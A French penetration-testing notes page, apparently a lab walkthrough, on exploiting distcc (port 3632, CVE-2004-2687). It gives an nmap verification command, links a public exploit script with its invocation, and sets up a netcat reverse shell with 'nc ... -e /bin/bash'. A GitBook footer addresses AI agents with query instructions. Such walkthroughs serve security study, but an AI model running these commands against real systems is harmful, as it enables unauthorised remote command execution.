> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/distcc-3632.md).

# distcc - 3632

> Distcc est un outil permettant d’accélérer le processus de compilation en utilisant les ressources inutilisées d’autres ordinateurs sur le réseau. Lorsqu’il est configuré sur une machine, il peut distribuer ses tâches de compilation à d’autres systèmes exécutant le démon distccd et disposant d’un compilateur compatible.

#### Vulnérabilité identifiée

La version 4.2.4 de distccd écoute sur le port 3632 et est vulnérable à CVE-2004-2687. Cette vulnérabilité permet à un attaquant d’exécuter des commandes arbitraires avec les privilèges de l’utilisateur sous lequel le démon s’exécute (souvent un utilisateur non privilégié, mais cela peut varier selon la configuration).

#### Vérification de la vulnérabilité

Confirmez la vulnérabilité avec le script Nmap suivant :

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

Le résultat indique que le serveur est effectivement vulnérable.

<figure><img src="/files/1f40eef42c7c55eeb5f1d9903c2c73ad5c7ba8c5" alt=""><figcaption></figcaption></figure>

### Exploitation

#### Exécution d’un script Python

Exploitez la vulnérabilité avec le script Python suivant :

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

Cela permet l’exécution de commandes arbitraires sur la machine cible.

<figure><img src="/files/8de33b0eb8136732fdbc55f64b1629c143dcf705" alt=""><figcaption></figcaption></figure>

#### Exécution d’un shell inversé

Écoutez sur le port 443 :

```bash
nc -nlvp 443
```

Exécutez la commande suivante depuis la machine cible pour établir la connexion :

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="/files/6b9747ea066092801f829fafe590d7adef309d5f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/ports-and-services/distcc-3632.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
